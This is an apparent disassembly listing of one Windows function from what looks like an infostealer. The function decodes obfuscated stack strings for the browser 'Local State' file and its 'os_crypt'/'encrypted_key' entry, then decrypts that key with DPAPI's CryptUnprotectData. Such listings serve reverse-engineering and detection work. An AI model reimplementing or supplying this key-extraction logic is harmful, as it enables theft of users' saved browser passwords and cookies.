Function at 0x1400e9de0
Capabilities:
Encrypt data using dpapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x258]
sub rsp, 0x320
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
movaps xmmword [rax - 0xb8], xmm13
mov rax, qword [0x14015d010]
xor rax, rsp
mov qword [rbp + 0x198], rax
mov rsi, r8
mov r14, rdx
mov eax, 0xd7075c94
movd xmm6, eax
mov eax, 0xffffffc8
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe0], al
mov eax, 0xffffffd8
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe1], al
mov eax, 0xfffffffb
movd xmm0, eax
vpxor xmm7, xmm0, xmm6
movd eax, xmm7
mov byte [rbp + 0xe2], al
mov eax, 0xfffffff7
movd xmm0, eax
vpxor xmm13, xmm0, xmm6
movd eax, xmm13
mov byte [rbp + 0xe3], al
mov eax, 0xfffffff5
movd xmm0, eax
vpxor xmm2, xmm0, xmm6
movd eax, xmm2
mov byte [rbp + 0xe4], al
mov eax, 0xfffffff8
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe5], al
mov eax, 0xffffffb4
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe6], al
mov eax, 0xffffffc7
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe7], al
mov eax, 0xffffffe0
movd xmm0, eax
vpxor xmm12, xmm0, xmm6
movd eax, xmm12
mov byte [rbp + 0xe8], al
movd eax, xmm2
mov byte [rbp + 0xe9], al
movd eax, xmm12
mov byte [rbp + 0xea], al
mov eax, 0xfffffff1
movd xmm0, eax
vpxor xmm11, xmm0, xmm6
movd eax, xmm11
mov byte [rbp + 0xeb], al
mov eax, 0xffffff94
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd r12d, xmm1
mov byte [rbp + 0xec], r12b
lea rax, [rbp + 0xe0]
mov r15, 0xffffffffffffffff
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400e9f80
lea rdx, [rbp + 0xe0]
mov rcx, rsi
call fcn.1400d3dd0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x30]
call fcn.1400ff0e0
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x1400e9fb7
mov rdx, qword [rsi]
mov r8d, 0x20
lea rcx, [rbp - 0x30]
call fcn.1400db620
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x20], 6
jne 0x1400ea6b9
mov r8d, 2
lea rcx, [rbp - 0x30]
call fcn.1400d9c60
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.1400d9b80
mov ebx, dword [rax + 8]
add ebx, dword [rax]
xor r8d, r8d
lea rcx, [rbp - 0x30]
call fcn.1400d9c60
movsxd rdi, ebx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
xor r13d, r13d
mov qword [rbp + 0x100], r13
test ebx, ebx
je 0x1400ea0c6
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x1400ea790
cmp rdi, 0x1000
jb 0x1400ea098
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x1400ea796
call fcn.1400fb2ac
mov rcx, rax
test rax, rax
je 0x1400ea78a
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400ea0a0
mov rcx, rdi
call fcn.1400fb2ac
mov qword [rbp + 0xf0], rax
lea rbx, [rax + rdi]
mov qword [rbp + 0x100], rbx
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.1400ff0e0
mov qword [rbp + 0xf8], rbx
mov r8, rdi
mov rdx, qword [rbp + 0xf0]
lea rcx, [rbp - 0x30]
call fcn.1400d9e50
mov qword [rbp - 0x48], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov rdx, qword [rbp + 0xf0]
mov r8, qword [rbp + 0xf8]
cmp rdx, r8
jne 0x1400ea119
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], r13b
jmp 0x1400ea128
sub r8, rdx
lea rcx, [rbp + 0x120]
call fcn.1400e0460
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x40]
call fcn.1400dc910
mov rbx, rax
movd eax, xmm7
mov byte [rbp + 0xe0], al
mov eax, 0xffffffe7
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe1], al
mov eax, 0xffffffcb
movd xmm0, eax
vpxor xmm8, xmm0, xmm6
movd eax, xmm8
mov byte [rbp + 0xe2], al
movd eax, xmm13
mov byte [rbp + 0xe3], al
mov eax, 0xffffffe6
movd xmm0, eax
vpxor xmm9, xmm0, xmm6
movd eax, xmm9
mov byte [rbp + 0xe4], al
mov eax, 0xffffffed
movd xmm0, eax
vpxor xmm7, xmm0, xmm6
movd eax, xmm7
mov byte [rbp + 0xe5], al
mov eax, 0xffffffe4
movd xmm0, eax
vpxor xmm10, xmm0, xmm6
movd eax, xmm10
mov byte [rbp + 0xe6], al
movd eax, xmm12
mov byte [rbp + 0xe7], al
mov byte [rbp + 0xe8], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
lea rax, [rbp + 0xe0]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400ea200
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x160]
call fcn.1400d1420
lea rdx, [rbp + 0x160]
mov rcx, rbx
call fcn.1400dd760
mov rbx, rax
movd eax, xmm11
mov byte [rbp + 0xe0], al
mov eax, 0xfffffffa
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe1], al
movd eax, xmm13
mov byte [rbp + 0xe2], al
movd eax, xmm9
mov byte [rbp + 0xe3], al
movd eax, xmm7
mov byte [rbp + 0xe4], al
movd eax, xmm10
mov byte [rbp + 0xe5], al
movd eax, xmm12
mov byte [rbp + 0xe6], al
movd eax, xmm11
mov byte [rbp + 0xe7], al
mov eax, 0xfffffff0
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe8], al
movd eax, xmm8
mov byte [rbp + 0xe9], al
movd xmm0, r15d
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xea], al
movd eax, xmm11
mov byte [rbp + 0xeb], al
movd eax, xmm7
mov byte [rbp + 0xec], al
mov byte [rbp + 0xed], r12b
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rbp + 0xe0]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400ea300
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x58]
call fcn.1400d1420
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.1400dd760
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
cmp byte [rax], 3
jne 0x1400ea79c
mov r8, qword [rax + 8]
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x1400ea356
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x160]
call fcn.1400d1420
nop
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400db7a0
nop
lea rcx, [rbp + 0x120]
call fcn.1400d1370
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rax
lea rdx, [rbp + 0x160]
lea rcx, [rsp + 0x58]
call fcn.1400d11c0
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.1400fa530
mov r8, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x108]
lea rcx, [rbp + 0x120]
call fcn.1400dca30
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
mov rax, qword [rbp + 0x130]
cmp rax, 5
jb 0x1400ea7df
add rax, 0xfffffffffffffffb
cmp rax, 0xffffffffffffffff
cmovb r15, rax
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rdx, qword [rbp + 0x120]
add rdx, 5
mov r8, r15
lea rcx, [rbp + 0x140]
call fcn.1400d1420
mov dword [rbp - 0x3c], r13d
mov eax, dword [rbp + 0x150]
mov dword [rbp - 0x40], eax
lea rax, [rbp + 0x140]
cmp qword [rbp + 0x158], 0x10
cmovae rax, qword [rbp + 0x140]
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x20]
call fcn.1400db380
test rax, rax
jne 0x1400ea494
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x18], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx - 0x20]
and eax, 0x17
mov dword [rbp + rcx - 0x20], eax
mov edx, dword [rbp + rcx - 0x1c]
and edx, eax
jne 0x1400ea7e5
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x40]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1400ea603
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rbp + 0x140]
call fcn.1400d1370
lea rcx, [rbp + 0x120]
call fcn.1400d1370
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x1400ea531
mov rdx, qword [rbp + 0x118]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400ea51a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ea78a
call fcn.1400fb608
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
lea rcx, [rbp + 0x160]
call fcn.1400d1370
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x1400ea58f
mov rdx, qword [rbp + 0x100]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400ea578
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ea78a
call fcn.1400fb608
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r13
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.1400d9a50
mov rax, qword [rbp - 0x30]
movsxd rdx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rdx - 0x30], rax
mov rdx, qword [rbp - 0x30]
movsxd r8, dword [rdx + 4]
lea r9d, [r8 - 0x18]
mov dword [rbp + r8 - 0x34], r9d
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.1400fcf38
nop
jmp 0x1400ea72d
lea rcx, [rbp + 0x140]
call fcn.1400d1370
lea rcx, [rbp + 0x120]
call fcn.1400d1370
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x1400ea66d
mov rdx, qword [rbp + 0x118]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400ea656
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ea78a
call fcn.1400fb608
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
lea rcx, [rbp + 0x160]
call fcn.1400d1370
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x1400ea6b9
mov rdx, qword [rbp + 0x100]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400ea6b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ea78a
call fcn.1400fb608
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.1400d9a50
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x34], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.1400fcf38
nop
mov rcx, rsi
call fcn.1400d1370
mov rax, r14
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.1400faff0
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14010432c
int3
call fcn.1400d1690
int3
call fcn.1400d08a0
int3
mov rcx, rax
call fcn.1400de240
mov qword [rbp + 0xe0], rax
lea r8, [rbp + 0xe0]
lea rcx, [rsp + 0x58]
call fcn.1400e82c0
mov r8, rax
lea rcx, [rbp + 0x160]
call fcn.1400e8380
lea rdx, [0x14015b080]
lea rcx, [rbp + 0x160]
call fcn.1400ff010
int3
call fcn.1400d3e60
int3
test dl, 4
je 0x1400ea7f3
lea rbx, str.ios_base::badbit_set
jmp 0x1400ea808
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400d4e20
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.1400d52f0
lea rdx, [0x14015b1a8]
lea rcx, [rsp + 0x58]
call fcn.1400ff010
int3